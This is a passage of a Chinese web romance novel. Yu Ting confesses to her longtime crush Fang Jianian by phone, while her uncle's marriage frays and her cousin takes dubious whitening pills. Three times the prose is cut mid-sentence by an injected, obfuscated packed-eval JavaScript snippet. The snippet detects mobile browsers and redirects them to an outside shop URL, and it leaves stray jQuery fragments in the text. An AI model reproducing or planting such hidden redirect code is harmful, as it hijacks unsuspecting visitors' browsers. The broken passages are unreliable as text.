猫咪不吃鱼:我小的时候不是舅舅带的吗?听哥哥们说,那时有个老教授…… “听听!怎么都不唱歌?在给谁发消息?” 身边沙发一沉,孟啸西一屁股坐在了她的旁边,眼睛还使劲往手机屏幕上瞅。 虞听吓得灵魂出窍,立即就把手机屏幕按灭了,结结巴巴道:“没……没谁,我给朋友发消息呢。啸西哥不去唱吗?” 孟啸西似笑非笑地盯着她:“我唱什么唱,你才是压轴人物,去唱吧,歌都给你点好了,我连耳塞都带过来了。” 虞听:“……” 兴许上帝在打开某扇窗的同时也会关上一扇门,虞听虽然拥有绘画天赋,可在音乐方面,却是个绝对的音痴,唱歌堪比车祸现场,没一个在调上。可这些中年老哥哥们却有个恶趣味,每次来KTV必定催着她去唱歌,一边捂着耳朵哀嚎,一边欣赏她灾难般的歌喉,长期乐此不疲。 在足以响彻整个包厢的鼓掌和欢呼声中,虞听握着话筒隆重登场,唱完一首走调版的粤语老歌《红日》之后,众人乐倒一片,而虞听趁没人注意悄悄溜出了包厢。 嘉年哥:哥哥们? 嘉年哥:听听到底有几个哥哥?^_^ 坐在洗手间的马桶盖上,虞听打开手机,才知道方才那条没编辑完的消息居然发送出去了。 啊……这个颜文字狂热爱好者。 是吃醋了吗?因为她叫别人哥哥? 这个笑脸就很有阴阳怪气的感觉。 猫咪不吃鱼:三个。 猫咪不吃鱼:啊……不对,是四个。 猫咪不吃鱼:哥是第四个。^_^ 虞听捂着疯狂上扬的嘴角,坐在马桶上快要笑晕过去。 这么皮一下的感觉真好。 这次的回复来得有点迟,是生气了吗? 干完调皮事的虞听又不免忐忑起来,怕他生气,所以认真地解释了一下自己和这些哥哥们的渊源。 嘉年哥:那不应该是哥哥,叫叔叔才对吧?^_^ 现在开始纠正起她的称呼了吗? 屏幕上映照出自己快要笑烂的脸,虞听从没想过自己会在狭窄的厕所隔间里跟人聊天聊得这么开心。她不算是爱给人发消息的类型,固定聊天的人就那么几个,但在方嘉年这里,哪怕路边看到条狗这样的小事,她都要拍下来说给他听。 猫咪不吃鱼:(^O^) 猫咪不吃鱼:不过,哥为什么一直发颜文字啊? 嘉年哥:怎么了?老套吗? 猫咪不吃鱼:超级老套。 猫咪不吃鱼:哥哥和我好像不是同一个时代的人。^_^ 嘉年哥:那现在的孩子喜欢发什么? 我们都发表情包的。 虞听翘起唇角,正要打字,门外传来对话声。 “你到底是怎么了?吃饭的时候就一直垮着脸。” 说话的这个人虞听认出来了是谁,是孟啸西的老婆张笑。 她也是临江大学的,只是不和孟啸西他们一个专业。她和孟啸西在老乡会上认识,之后就成了校园情侣,被大家戏称为“笑啸”夫妇。毕业后她就和孟啸西组建了家庭,两人还有个可爱的儿子,这么多年下来,感情一直很不错。 作为孟啸西大学时的女朋友兼现在的妻子,她也是看着虞听长大的人之一。虞听与她关系很不错,正要推门出去,可接下来的一句话阻止了她的动作。 “我跟宋康尧过不下去了,我要跟他离婚。”一个声音哭着说。 23. 热恋期04 “他眼里根本就没有我。” 林秋哭得眼圈洇红,手心里的纸已经湿成了一团。 张笑看不过去地扯了两张纸巾塞给她:“这又是哪里来的话?老宋只是粗枝大叶了一点,你不是早就知道的吗?” 说到这里,她又有点生气:“我早就跟你说过了,他的性格不适合你,是你看中人家长得好,非要嫁给他。” 她与林秋是多年好友,她这个朋友眼光挑剔得很,导致三十多岁了还没出嫁,家里人着急,委托张笑帮忙物色一下对象。 张笑身边适龄又未婚的单身男性就宋康尧一个,宋康尧年纪一大把了还不结婚倒不是因为挑剔,而是天性热爱自由,再加上年纪轻轻就体验过带孩子的感觉,对结婚生子倒没有太大执念。 她是抱着这俩人根本不会成的想法去介绍他们认识的,谁知这个红娘还真就给她做成了,目光挑剔的林秋一眼就相中了风流倜傥的宋康尧,之后更是主动追求了几个月。因为宋康尧家里也催得紧,两人就这么一拍即合组建了家庭。 能如愿以偿嫁给自己喜欢的人,按理说林秋的日子应该是幸福的,可婚后的她总是因为一些鸡毛蒜皮的小事跟宋康尧闹矛盾,经常气得跑回娘家,还时不时找张笑这个介绍人哭诉。 “他哪里粗枝大叶了?我看他就是对我不上心,他对自己外甥女不是挺细心的么?连杯子碗筷都给她涮好,吃个火锅都怕他外甥女烫到了,把菜捞进碗里,让她吹凉了再吃。我就坐在他旁边,你看他全程看我一眼了么?” 林秋越说越气,眼泪像断线的珠子一样掉下来。 “还有今天吃中饭,他连虾都要给他外甥女剥好,我和童童从来没吃过他剥的虾。他姐还说什么她女儿的手不是用来剥虾的,怎么,长这么大了,连只虾都剥不得?是金子做的手?我们这些人的手就是石头做的?” 张笑听得直皱眉:“你看你跟孩子还吃起醋来了。你不知道,听听是老宋一手带大的,那完全是当闺女看的。剥虾算什么,她用筷子都是老宋教会的,小时候还一勺一勺追着喂饭呢。” “可是她现在已经大了,”林秋见好友不站在自己这边,越发委屈了,“都这么大了,还当成小孩子一样照顾,这样不是不对吗?” 见她怎么也说不通,张笑也没耐心起来:“有什么不对的,你还管人家舅舅怎么跟外甥女相处?快把眼泪擦了跟我出去,要是被听听看出什么了,看我不教训你。” 她推着哭哭啼啼的林秋走了出去。 而在她们之后,虞听沉默地从隔间走了出来。 *** 唱完歌已经是深夜十一点。 大家都是开车过来的,但宋康尧喝了酒不能开车,只能在路边叫代驾。 大年初一,接单的代驾比较少,宋康尧不停刷新手机页面,还是显示无人接单。 一旁的林秋看得着急,忍不住抱怨起来:“都叫你不要喝酒了,非得喝。” 宋康尧:“大家这么久没见了,喝两杯怎么了。又不是回不去,你急什么。” 林秋一下就被惹火了,声调拔高:“你说我急什么?童童还在家呢,他不是你儿子?你不担心?” 她一直在耳边吵,宋康尧再好的耐心也没了,再加上喝了两杯酒,怒火直接上了脸:“所以我让你别跟来,你说我把你当保姆看,只让你在家看孩子。现在来了,你又吵着要回去,童童在家有外公外婆看着,这么晚了他肯定也睡了,你着急什么?自己的爸妈都不放心?” 他本就生得粗眉大眼,发起火来很有几分架势。 林秋被他一吼,眼圈立马就红了,眼泪啪嗒掉了下来。 宋康尧不耐烦地别过头去。 他们吵架的动静不算小,其余没走的人也多少听见了,孟啸西倚在车边喊:“老宋,怎么了?要实在找不到代驾,坐我们的车回去得了,把车停这儿,明早再来开。” “不用了,”宋康尧看了眼手机,“有人接单了。” 代驾就住在这附近,没过几分钟就骑着自行车来了。 宋康尧把车钥匙交给代驾,拉开后座车门,冲路边发呆的虞听说:“听听,发什么愣呢?快上车。” 虞听关了手机,说:“舅舅,你和舅妈回去吧,我自己打车回去。” 宋康尧眉头皱得能夹死苍蝇:“你这孩子又是怎么了?快上车,外面冷,别冻感冒了。” “我说真的,舅舅,”虞听双手插在羽绒服兜里,丝毫没有要上车的意思,“我已经打好车了。舅舅不是要和舅妈回市区吗?就别绕远路送我回外婆家了,时间也不早了,你们明天还要走亲戚,快回去吧。” 虞听外婆家在郊区,一个独门独户的小院子,平时外婆就喜欢在院子里种点菜,养养花。而宋康尧婚后在市区买了房子,平时住在那边比较多。 宋康尧听了她的话说:“我找个代驾都费劲,你说你打到车了?鬼都不信,把你手机拿给我看看。” 虞听确实没能打到网约车,根本没人接单。 “……我打出租车。” “这么晚了,你觉得我会让你打车回去?你上不上?不上我们就在马路上过夜了。” 宋康尧抱紧胳膊,往自己的越野车上一靠,穿着马丁靴的腿又长又直,一副她不上车今晚就陪她耗在这儿的架势。 “……” 虞听偷偷用余光瞥了一眼舅妈林秋,见她满脸泪痕地瞪着自己,眼中是赤.裸裸的怨恨与不喜。 从小到大虞听都生活在宠爱里,很少有人对她表现出这么明显的厌恶,她如同被刺到一样,迅速别过脑袋。 “我不上。” “……啧。” 宋康尧被她气得嘬了下牙花子。 “老宋,怎么了?” 孟啸西正在街边抽烟,见他们迟迟不上车,走过来问了一句。 “你问她,”宋康尧冷冷笑了一声,下巴指着虞听,“我都不知道怎么得罪她了?连我的车都不肯坐了,要说是叛逆期也来得太晚了吧。” “……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663979|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是不肯坐,”虞听弱弱地解释,“是不想让舅舅绕远路送我。” 宋康尧理都不肯理她。 孟啸西幸灾乐祸地大笑起来:“就不爱坐你的车,怎么的?多大点事儿。来,听听,坐哥哥的车,哥哥送你回去。” 宋康尧斜来一眼:“你不也喝酒了?酒驾啊?” 孟啸西:“我老婆有驾照啊,她开车。” 宋康尧皱眉:“把你那烟给我掐了。” “得嘞。” 孟啸西掐灭烟头,揽着虞听的肩要走。 “到家了给我说一声。”宋康尧突然来了一句。 “行。”孟啸西痛快应了。 “……我没跟你说。” “好的,舅舅。”虞听乖乖地应了。 宋康尧看了她一会儿,伸手用力按了下她的后脑勺,将羽绒服帽子给她扣上:“臭小孩儿。快上车吧,别冻死了。” 车里开着暖气,冻僵的手脚也恢复过来。 虞听坐在后座,看着车窗外冷清的街景发呆。 开车的张笑在后视镜里看了她一眼,问道:“听听,你是不是在厕所里听到我和你舅妈说话了?” “说话?说什么话?” 在副驾上假寐的孟啸西睁开眼问:“你们为什么要在厕所里聊天?没味道吗?” 张笑抬手就敲了他脑袋一下:“醉了就睡你的觉去,我们女生说话没你大老爷们的事,要是回家敢吐地板上,看我不削你。” 孟啸西被她敲得龇牙咧嘴,抱着身上盖着的老婆外套继续睡了。 听着这有趣的对话,虞听忍不住笑了。 好像每一对夫妇都有特别的相处模式,爸爸妈妈是下级对领导的绝对服从,而孟啸西与张笑则是一种插科打诨的朋友式的相处。至于舅舅和舅妈,那又是另一种模式了。 那自己和方嘉年呢? 他们相识多年,可也不是那么的熟悉。方嘉年太忙了,他们仅有的相处时间就只有她去方家过夜的日子,醒来的清晨,他会带肚子饿的自己去便利店买零食,可大多时候他都不会说话,甚至也不吃东西,只是沉默地看着她吃。 有一段时间,虞听很想和他聊天,她拼命地搜寻着可以和他谈论的话题,可他们年龄不同,圈子不同,社会阅历也不同,她担心自己一开口就会显得笨拙和幼稚,最后那些精心准备的话题甚至都没有说出口的机会。 她现在多少明白为什么方嘉年假装不知道她告白的事了,是不想让他们的关系变得尴尬吧,也不是毫不相干的陌生人,而是认识了这么多年的妹妹,一旦开始了,就无法走回头路了。 如果真的在一起了,他们会变得没有话聊吗? 啊……突然好想他。 虞听搓了搓被暖气熏热的面颊。 趁着等红灯的工夫,张笑回头看着她道:“你舅妈就是那样一个人,心思有点敏感,但心是好的,你别介意。” 虞听回过神,露出一个微笑:“笑笑姐,我什么也没听到。” 24. 热恋期05 郊区太远,回到家都十二点了。 外公外婆肯定早就睡了,但爸妈房间里的灯还亮着,虞听打算过去跟他们说一声晚安。 走到门口时,没能关严的房门后传来爸妈的交谈声。 “林秋那个小心眼性子,跟康尧合不来,我看这婚迟早是要离的。”这是虞妈在说话。 虞爸向来是个老婆奴,唯老婆的话是从,也不敢过度反驳,“哎”了一声,谨小慎微地说:“那也不能吧,前年才结的婚呢,小孩子也有了。” 虞妈冷笑一声:“你大舅子就不是会被老婆孩子捆绑住的人,他是天生的浪子,压根就不适合结婚生子,偏偏还娶了个林黛玉一样的老婆。你看今天中午吃饭的时候,宋康尧不过给咱闺女剥了几只虾,林秋在旁边眼珠子都要瞪出来了。舅舅给外甥女剥虾算什么,康尧给宝宝搓尿布的时候,她还不知道在哪儿呢,就这点事都要跟小孩子计较。” 一旦涉及女儿,虞爸就没法冷静了:“真是的,这有什么的!以后都不要她舅舅剥了,我女儿要吃的虾,我来剥!” “就是,你以后也长点眼色,别光顾着埋头吃。” 虞妈训完老公,又说:“这么晚了,宝宝怎么还不回来?你给宋康尧打个电话,让他赶紧把人送回来。” 听到这儿,虞听赶紧清清嗓子出声:“爸爸,妈妈,我回来了。” 房里的虞妈一顿:“哦?宝宝回来了?什么时候回来的?” 话说完便伴随着窸窸窣窣的动静,似乎是在掀开被子准备下床。 虞听忙说:“刚刚回来的,妈妈,你别出来了,我这就去洗澡了,困了。” 虞妈:“好,你洗完澡早点睡觉。这么晚了就别洗头了,明天白天再洗。” “嗯,好!” 虞听说完就冲进了卫浴,却并没有要洗澡的意思,而是从包里掏出了手机,按下了方嘉年的电话号码。 电话没有很快被接通,拨出去后,她才发现时间已经显示十二点三十分了。 他会不会已经睡觉了? 虞听瞬间后悔自己太冲动了,听着耳边的“嘟”声,她决定再等三声,如果三声过后还没人接的话,她就挂断。 兴许真的是缘分吧,在响第三声的时候,电话被接起了。 “听听?” 方嘉年低沉的声音从听筒里流泻出来,在这个夜晚,显得格外令人悸动。 虞听很长一段时间都没能说出话来,直到方嘉年在电话里又重复叫了一遍“听听”,她才如梦初醒地反应过来。 “……嘉年哥。” “嗯。” 回应她的声音温柔又动听,没有半点深夜被打扰的不悦。 “睡了吗?” 虞听觉得自己问了句废话,如果睡了,现在就不会接她的电话了。 可方嘉年却在电话里说:“嗯,睡了。” “……我把你吵醒了吗?”愧疚感瞬间将虞听淹没了,她真该以死谢罪啊。 “没关系,”轻笑声从听筒里传来,“没睡着,即使睡着了也没关系,你的电话随时都要接。” “不过你心情不好吗?”他突然问。 ……这是怎么听出来的? 耳朵痒痒的,心跳莫名开始加速,像要突破胸膛跳出来。 在无言的寂静里,虞听抬头看着洗手间窗外的那轮月亮,忽然出声喊他。 “嘉年哥。” “嗯?” “那个,我不是有个舅舅嘛,小时候我是由舅舅带大的,跟舅舅很亲,我连学说话第一个会说的词都是舅舅。” “说这个是想让我嫉妒?” “什么?”虞听一愣,接着很快反应过来,哭笑不得,“不是,哥怎么会因为这种事嫉妒?是亲人嘛。” “可是我会啊。” 电话里响起的声音淡淡的,很难判断他是在开玩笑,还是说真的。 虞听觉得他说话总是有种一本正经的幽默,竭力压住上扬的嘴角,将话题拉回来:“总之,可能是因为从小带大的缘故,舅舅习惯把我当小孩子照顾。和孩子一起吃饭的话,大人不是会把汤吹凉,也给孩子擦嘴之类的嘛,现在大了,虽然不会做到这种程度,但舅舅在饭桌上还是会照顾我,给我倒饮料、做些剥虾之类的小事。我以前不觉得这有什么不对,可是今天,舅妈因为这件事生气了。” “……” “说实话一开始会觉得有点冤枉,我做什么了?舅舅一直都是这么照顾我的。刚刚回家,听见妈妈也在说这个事,她说舅妈小心眼。我突然就觉得自己做错了。代入一下,如果是哥哥给别的人剥虾,我也会生气,这不是小心眼,是爱一个人本来就会产生独占欲,我希望你给我做的事,是只做给我一个人的。就像舅舅应该只给舅妈剥虾,爸爸应该只给妈妈剥虾,而我……我……” 她吞咽了一下口水,紧张得心脏蹦到嗓子眼。 “你愿意做给我剥虾的那个人吗?只给我一个人剥。” “……” 沉默仿佛延续了一个世纪那么漫长,等待让人变得焦灼。无论是答应还是拒绝,都该说句话呀,这么不说话是想让人急死么? 还是他没能理解她的意思?是不是说得太委婉了…… 就在虞听耐不住性子想要催促的时候,电话那边出声了。 “我会给你剥一辈子虾。” 承诺的声音显得过于真挚,像在说什么重要的大事。 虞听忍不住扑哧一声笑了出来,大概全世界只有他们会把告白的誓言说得这样奇怪吧。 “也会听我唱歌吗?”她突发奇想地问道。 “当然,现在唱吗?” “……” 他不知道自己唱歌很难听吗……对了,他好像还真不知道,因为喜欢他,不想在他面前暴露任何短板,所以一次也没当着他的面唱过歌。 嘴角的笑容难以抑制,虞听捂住嘴,担心笑声从嘴里跑出来。 “……下次吧。” “嗯。” “本来还想考虑一阵时间的,可是没办法,实在太喜欢你了。嘉年哥,你以后一定要好好对我,知道吧?” “嗯,我会好好对你的。” “那……”虞听抬头仰望着月亮,嘴角含着笑意,“你好,男朋友。” “……” 电话里的呼吸声骤然加重了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668013|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虞听这回不着急催着他回答了,因为她知道方嘉年的沉默不是出于别的原因,而是因为他像自己一样,感到紧张。 即使在上千人的大会上演讲也从不怯场的他,却因为自己一句话而紧张了。 虞听终于触摸到他那隐秘、深沉的感情边缘一角。在喜欢的人面前就会紧张,这几乎像咳嗽一样,是无法掩饰的事。 她确信了,方嘉年喜欢她。 “哈……”电话里传来一声叹息。 “为什么叹气?”虞听故意问,“做我的男朋友,是会让哥哥叹气的事吗?” “不是……”方嘉年低声道,尾音变得模糊,“就是……感觉今晚睡不着了。” *** 脱单了。 而且是跟自己喜欢了这么多年的人在一起了,暗恋成真! 天呐,这是在做梦吗? 一觉醒来的虞听马上打开了手机,查看昨晚的通话记录,显示通话时间长达三个小时。 昨晚她和方嘉年一直打电话打到深夜,打到中途手机都快没电了,充上电后又接着打,不知道为什么会有那么多话要说。 不过她依稀记得自己是两点多睡的,看来在她睡着以后,他并没有马上挂电话。 那就一直听着她的呼吸声吗?自己睡觉应该不打呼吧…… 虞听脑子里闪过许多乱七八糟的念头,忽然又想都是男朋友了,通话联系人该换个名字了吧? 她打开通讯录,一本正经地在“嘉年哥”三个字上面加了两颗爱心。 刚改好,就像心有灵犀一样,新上任的男朋友发来了消息。 嘉年哥:醒了吗? 奇怪,文字也有声音吗? 看着这简单的三个字,好像能听到他压低声音在自己耳边说早安。 “啊啊啊啊啊!” 虞听在床上开心地踢起被子来。 猫咪不吃鱼:醒了。^_^ 嘉年哥:凌晨三点睡也能七点起床呢。 嘉年哥:好乖。 “……” 虞听咬着被角像蚯蚓一样在床上扭动,又想嚎叫了。 方嘉年,你这个有罪的男人。 罪名是勾引她。 嘉年哥:吃饭了吗? 猫咪不吃鱼:还没。 嘉年哥:那快去吃饭吧。 猫咪不吃鱼:嗯! 猫咪不吃鱼:哥哥也是! 发完,虞听想了想,又发送了一个小猫咪画爱心的表情包。 猫咪不吃鱼:这就是咱们年轻人发表情的方式。 猫咪不吃鱼:哥哥喜欢的颜文字已经过时了。^_^ 嘉年哥:知道了。哥会好好学的。 虞听捂着嘴巴偷笑。 她没告诉方嘉年,其实她觉得发颜文字的他很可爱,有种老人家竭力融入这个时代的心酸感。 好心情一直维持到吃早餐。 虞爸看着自起床后就一直在哼歌的女儿,好奇地问:“是有什么好事吗?宝宝怎么这么开心?” 虞听马上闭紧嘴巴,一秒恢复严肃:“没有。” 好险,差一点就穿帮了。 25. 热恋期06 大年初五,喜迎财神。 虞听跟着爸爸妈妈去大姨家拜年。一进门就发现了不对,家里爆发了战争。 大姨面色铁青,表妹小萱蓬头垢面,满脸泪痕,大姨夫坐在沙发上崩溃挠头。 “怎么了这是?” 虞妈放下提来的礼品,看着对峙中的母女俩问。 “你问她!”大姨把手中的东西往小萱脸上用力一甩,“我生的什么东西!都高三了,学习学习不搞,天天搞这些旁门左道!” 虞妈连忙拦住她:“大过年的,可不兴打孩子。” 又看向地上的那个东西,好像是个药盒。 “这是什么?” “美白丸!”大姨气愤地说。 虞妈:“哟,这东西可不能乱吃,没有科学依据的三无产品,别吃坏了身体。” 大姨气得胸口一抽一抽的:“鬼知道她脑袋里在想些什么?都高三的人了,还想着打扮自己,我真是造孽,生出这种女儿,听听生下来就没让你操过一点心,又聪明又漂亮,还考上了名牌大学……” 虞听一听到这话就眼角直抽,心道坏了,青春期的孩子最不乐意听这种话了。 果然刚才还默默哭泣的表妹立刻就爆发了:“你不想生就别生啊!你以为我想让你生下来吗?你喜欢听姐姐漂亮又聪明,那你自己怎么不像小姨一样找个聪明又帅气的老公?找个又黑又丑的,结果我也又黑又丑!” 又黑又丑的大姨夫:“……” 大姨气得立马就要站起来骂人,被虞妈先声夺人:“你这孩子!怎么能对父母说这种话呢!” 说着给虞听使了个眼色。 虞听赶紧抱着表妹把她往房间带。 大姨还在后面追着说:“让你表姐好好给你讲讲道理!听听,你是名牌大学生,你给妹妹传授点经验!告诉她考个好大学的重要性!” 虞听一边拉着表妹,一边很想告诉姨妈,她自己成绩也不好啊,她可是艺术生,说不定考的分还没有小萱高呢。 好不容易把表妹拉回房里,让她冷静下来,虞听给她塞着纸巾,小心翼翼地问:“你最近在美白吗?” “……嗯。” 小萱擦了擦眼泪,然后把纸巾捏在手心反复揉成团。 相比起虞听来,她的皮肤是有点黑,而且从小就是这样,不是被太阳晒黑的,确实如她所说,是遗传了大姨夫的肤色。 “那也别吃药啊,”虞听劝她,“那些药很不安全的,而且大部分没什么用。你要是想变白,我给你一些护肤品吧,现在市面上也有美白面膜,不仅安全,还能护肤呢。” 有她安慰,小萱的心情好了很多,她趴在桌上,揉了揉哭红的眼睛:“烦死了,为什么我生下来就这么黑。” 虞听笑了:“那我生下来还很胖呢。你忘了?小时候我俩走一块,大人们说我们一个是小胖妞,一个是黑煤球。” 说完她就捂住了嘴。 这死嘴,说那么快干什么,明明表妹还在因为自己皮肤黑的事伤心。 但小萱却并没怎么在意:“长胖可以减肥啊,长得黑就很难变白了。” 说着她又看了一眼虞听:“听姐姐你现在瘦了这么多,更好看了,肯定有很多男孩子喜欢你吧?” 两人虽然是从小一块长大的,而且一个胖,一个黑,貌似没什么差距,但终究还是有区别的。 比如她就记得很小的时候,大人们虽然打趣她们,可那些人却很喜欢虞听。她白白胖胖,嘴巴又甜,小姨还总是给她穿一些漂亮的淑女裙搭配小皮鞋,看上去端庄又干净。 大人们看见了,经常说一些虞听是她们生的,要把她带回家去的玩笑话,而又矮又黑的自己只能在旁边听着,当个无人在意的陪衬。 虞听听着表妹的话语,心头隐约浮现出一个猜想:“小萱,你……你是不是在学校里,有喜欢的男孩子了?” “嗯。” 可能是因为姐妹俩无话不谈,小萱痛痛快快地承认了。 “但是他不喜欢我,说我太黑了,他喜欢白的,漂亮的。” “……” 所以才吃美白丸的么? “太过分了!怎么可以这么肤浅?”虞听替表妹感到生气。 “还行吧,”小萱表情很平淡,“他就是这种肤浅的男生。” “……那你喜欢他什么?” “长得帅。” “……” 好吧,看来你也是这种肤浅的女生。 虞听暗暗叹了口气。 因为喜欢的男生说自己黑,就去吃三无美白丸这种事虽然听起来匪夷所思,可虞听却很能理解表妹的这种心理,甚至感同身受,因为她自己就是这么过来的。 暗恋就是这么一件让人卑微到尘埃里的事。 因为太喜欢了,喜欢你甚至超过了我自己,所以患得患失,所以对自己挑三拣四。 太黑了,太胖了,头发太长了……甚至担心指甲颜色是不是对方喜欢的。 这份感情太恳切了,又是如此的盲目、偏激,不讲道理,在外人眼中是不可理喻的,只有身处局中的自己才能理解。 虞听不愿意去抨击这样的表妹,只能尝试着引导她往好的方面去努力:“可是肤色是天生的,只是不符合他的审美罢了,我就觉得你挺好看的,鼻子挺,脸也很小。或者我们试一下可以改变的呢?比如他想考什么学校?你可以考他要去的大学。” 这是她自己的经验之谈,她当初就是跟随着方嘉年的步伐考上临江大学的。 小萱实话实说:“他考不上大学,他是我们班的最后一名。” 虞听:“……” 那你到底图他什么呢?就图一张脸吗? 虽然虞听自己也是个颜控,但面临表妹这样的究极颜控,她实在是不知道怎么办了。 虞听:“那……那……” 小萱:“我要考你在的大学。” 虞听双眼一亮:“是……是吗?!” 看来姨妈嘱托的劝学任务有望了!她还是具有榜样作用的! 小萱重重点头:“我要考去临江,然后跟家里断绝关系!” 虞听眼前一黑:“……” 和叛逆少女谈心的活儿太累了,虞听身心俱疲,连中午饭都没能好好吃。 等回到家里,她打电话和方嘉年说起这事。 “其实我挺能理解她的。那时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673030|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我对哥哥也是这样,生怕你因为我胖不喜欢我,所以拼命减肥,这个男生也是嫌我妹妹长得黑……” 方嘉年在那头叹息了一声:“听听,你把我和那种货色相比,是不是太侮辱人了?” “……” 虞听觉得自己有个怪病,每当听到方嘉年说出诸如“货色”这种他平时不会说的贬损字眼的时候,她就忍不住心猿意马。 他低声唾骂脏话的样子……真的有种出奇的魅力。 难道自己是个隐藏的大变态吗?居然还有dirtytalk这样的性.癖。 “难道哥哥不是看到瘦了的我之后才喜欢上我的吗?你老实说,我不会生气,也不会觉得哥哥肤浅。” “不是啊。” “那哥哥是什么时候喜欢上我的?” 最终,虞听也问出了恋爱里这个相当老套的问题。 方嘉年笑了一声:“说第一次见面就喜欢上了的话,会不会有点奇怪?” 毕竟她那时候还只是个小学生。 现在想想,好像还系着红领巾? 虞听:“那到底是什么时候?” 方嘉年:“不知道。” 虞听一下子就不愉快了:“这怎么能不知道呢?总有一个契机吧?说实话哥哥根本就不喜欢我吧?” “是真的不知道,不是说过了吗?我在感情方面有些迟钝。”方嘉年笑着道。 “不过……第一次见面,就觉得你挺特别的。”他忽然来了一句。 虞听立即就来兴趣了:“哪里特别?” 特别可爱?特别漂亮? 可方嘉年沉吟了一会儿,却道:“就是……感觉像一只小狗。” 虞听的脸马上就黑了:“把我比喻成狗吗?” “不是狗,是小狗。”方嘉年纠正道。 “有什么区别?” “嗯……小狗更可爱一点?” “……” 坏东西,人渣,败类。 居然把女朋友比喻成狗,要不要让他尝试一下在一起的第三天就被甩的感觉? “我讨厌哥哥,从现在开始要跟你不说话一分钟。”虞听面无表情地宣布。 “哈哈哈……” 电话那头传来了讨人厌的笑声。 “对了,后天是你的生日对吧?” “怎么知道的?” 刚说完虞听就捂住了嘴。 破戒了,一分钟还不到呢。 方嘉年:“怎么会不知道呢?每年的那一天都要打电话给我。” 大年初七是虞听的生日,她是一个出生在全家团圆的热闹日子里的孩子。 在她还只能暗恋方嘉年的那些年里,每一年的这一天,她都会用尽各种理由给方嘉年打电话,只为了从他口中听到一句生日快乐,甚至还会偷偷地录下来,挂完电话后反复去听。 这是一种多么让人心酸的行为啊,虞听忽然有点哽咽,忍住想哭的心情:“知道就好。我现在是哥哥的女朋友了,所以一句简单的生日快乐已经无法满足我了,知道吧?” “当然,”方嘉年用柔和的嗓音说,“礼物会在你生日当天送到。听听,提前祝你生日快乐。” 26. 热恋期07 方嘉年的礼物在生日当天的下午送到。 拆开精美的礼盒,里面是一部富士X-T5相机。复古的机身,旁边还搭配有可以替换的镜头。 虞听看到的第一眼就惊喜地叫出了声,马上给方嘉年拨去电话:“哥哥怎么知道的?我想要这款相机很久了!” “我知道,”仿佛早料到她会打电话来,方嘉年接得很快,“你在朋友圈里说过。” 他会去看她的朋友圈吗? 这个意外的认知比虞听收到心仪的礼物更为惊喜! 她习惯在朋友圈发一些碎碎念的日常,美术专业有摄影和剪辑课程,距离她说想要相机好像是很久之前发的了。 “但是快递不是停运了吗?是怎么寄过来的?” “年前就寄了,只是今天才给你。” 虞听一愣。 什么啊,这意思不就是说,年前他就确认自己会答应和他交往吗? “要是我没有答应做你的女朋友呢?” “那也要送啊,”方嘉年道,“送给未来的女朋友。” “……” 这发言也太自信了! 可虞听很喜欢他的自信,这代表他在他们的关系中势在必得,并且确信他们会在一起,即使现在不会,将来也会。 老手啊,这个人完全是恋爱老手。 自己根本玩不过。 “岂有此理,”虞听看似苦恼实则幸福地抱怨,“第一次送礼物就这么优秀的话,那我以后还怎么超越你?输了,完全输了。” 方嘉年笑出声来,声音也更加温柔:“除了相机,还有什么生日愿望吗?” “说出来的话,会给实现吗?” “嗯,全都给你实现。” 虞听捧着脸想了想。 她其实是个需求欲望很低的人,因为从小拥有的东西太多了,只要是想要的,爸妈都会买给她。寻常小孩喜欢在生日这天吹蜡烛许愿,可虞听的愿望只要说出来就能实现,她平生最想得到的就是方嘉年,而他现在已经是她的了,所以认真说起来,她已经别无所愿。 “突然问起的话,还真有点想不到……” 她思索了片刻,忽然头脑灵光一闪:“啊,我想到一个!” 方嘉年:“是什么?” 虞听:“我希望哥哥以后别再打架了。” 方嘉年:“……” 沉默持续了一段时间,再开口时,方嘉年的声音显得有些干涩:“嗯……打架的样子有些难看吧?其实我平时不是这样的,那天……” 干巴巴的解释被虞听一句话给截断:“不难看啊。” “……什么?” “哥哥打架的样子很帅气。” “……” “但还是不想哥哥打架,我不喜欢别人骂你,也不想你因为一些垃圾影响自己的前途。” 虞听想起论坛里那些诋毁他的话语,至今都会感到难受。 方嘉年是一个干净得毫无污点的人,是她心底白月光一般的存在,她不容许任何人来玷污他,哪怕是因为自己也不行。 她一边摆弄着相机,一边听着电话那边的呼吸声。 就算不说话也可以,她享受与方嘉年的通话,已经安定下来的心再也不会因为那些沉默时刻而忐忑不定了,因为她确信,方嘉年喜欢着自己。 叹息声传入耳朵,方嘉年低声唤着她的名字。 “虞听。” “嗯?” 